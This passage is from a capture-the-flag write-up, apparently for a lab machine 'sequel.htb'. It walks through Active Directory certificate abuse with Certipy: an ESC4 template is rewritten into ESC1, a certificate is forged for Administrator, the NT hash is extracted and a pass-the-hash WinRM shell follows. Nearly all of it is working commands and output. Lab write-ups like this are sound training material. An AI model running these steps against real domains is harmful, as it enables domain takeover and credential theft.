[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250114064030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250114064030_Certipy.txt'
[*] Saved JSON output to '20250114064030_Certipy.json'

We got the results saved in a .txt and .json file as the output says.

We can get the interesting info from this file filtering by some keywords like CA Name, Template and ESC which we will need later:

❯ cat 20250114064030_Certipy.txt | grep -E 'CA Name|Template Name|ESC'

    CA Name                             : sequel-DC01-CA
    Template Name                       : DunderMifflinAuthentication
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

We have a template with name DunderMifflinAuthentication with some dangerous permissions.

Based on the output, this is a domain escalation labeled as ESC4. we can see how to abuse this going to Certify Github page for ESC4, where they explain how to abuse it. Basically, we can overwrite the configuration of this certificate. For this we can run:

❯ certipy template -username ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -dc-ip 10.10.11.51 -target dc01.sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Now this certificate should be vulnerable to ESC1. We can now follow these instructions to request a certificate for Administrator user:

❯ certipy req -u ca_svc -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with multiple identifications
    UPN: 'administrator@sequel.htb'
    DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'

This should generate a .pfx (certificate) file.

Use this .pfx file to extract Administrator NT hash:

❯ certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@sequel.htb'
    [1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

We got a hash for Administrator user

We check if this hash works for Administrator user:

❯ nxc smb DC01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)

It works. And it’s for a privileged user as Pwn3d! message is shown for SMB service. GG.

Connect to the victim machine using this hash and a service like WinRM with evil-winrm performing a Pass The Hash (PtH):

❯ evil-winrm -i dc01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

We can read root.txt flag at Administrator Desktop.

~Happy Hacking.